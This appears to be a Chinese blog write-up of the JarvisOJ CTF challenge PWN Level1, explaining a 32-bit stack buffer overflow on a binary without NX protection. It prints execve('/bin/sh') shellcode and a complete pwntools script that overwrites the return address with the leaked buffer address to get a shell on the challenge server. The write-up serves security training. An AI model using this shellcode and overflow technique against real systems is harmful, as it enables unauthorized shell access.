JarvisOJ-PWN-Level1
2018-03-16 13:41
731 查看
JarvisOJ-PWN-Level
先checksec一下:发现NX栈保护没有打开,也就是堆栈代码没有进行保护,那么就就题目很可能就是要输入shellcode在栈里执行吧。
打开IDA分析(32位):
主函数:
vulner..fuction()函数:
题目的逻辑是打出buf的首地址然后写入从标准输入100字节给buf。
然后输出Holle world。
我们再看buf的内存分配:
buf的内存长度就=0x00000004-(-0x00000088)=0x8c
0x100>0x8c,存在栈溢出。
然而我们这次没有system的地址了,栈溢出也没用,这时我们想起该程序没有NX保护,所以可以自己写shellcode,也就是将shellcode写入栈,在栈里执行system(“/bin/sh”),这就需要我们将ret的jmp变成buf的首地址,使得read结束后调用buf地址从而执行shellcode,而buf首地址也正好给了我们。
OK,开始写shellcode了,可以参考这个写shellcode。
可以用我的另一个赚们写shellcode的博客参考下:
http://blog.csdn.net/qq_35495684/article/details/79583232
所以我们获得了shellcode:
shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
getshell代码:
# -*- coding: utf-8 -*- from pwn import* #context(log_level = 'debug', arch = 'i386', os = 'linux') #shellcode=asm(shellcraft.sh()) r=remote('pwn2.jarvisoj.com', 9877)#连接 #r=process("./test") shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80" addr=int(r.readline()[len("What's this:"):-2],16) payload=shellcode+'a'*(0x8c-len(shellcode))+p32(addr) r.sendline(payload) r.interactive()
相关文章推荐
- JarvisOJ-PWN-Tell_Something
- JarvisOJ Web&Reverse&Pwn
- jarvisoj pwn inst_prof writeup
- jarvisoj pwn level5 wp
- Writeup of level3(Pwn) in JarvisOJ
- Writeup of level4(Pwn) in JarvisOJ
- [Bug]ArcGIS10.1 for Desktop为SDE栅格数据集创建金字塔只能创建level1的问题
- SSCTF-PWN
- 【pwn】 关于栈的迁移
- StaticFactoryMethod_Level1
- pwnhub——胖哈勃外传-第一集 writeup
- 33c3-pwn500-recurse
- hitcon 2016 pwn babyheap writeup
- iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP
- pwntools的常见用法
- JarvisOJ-PWN-Level0
- 做pwn题时的一些调试技巧
- sctf pwn300
- 0ctf-pwn_warmup-re_mips4
- SSCTF Final PWN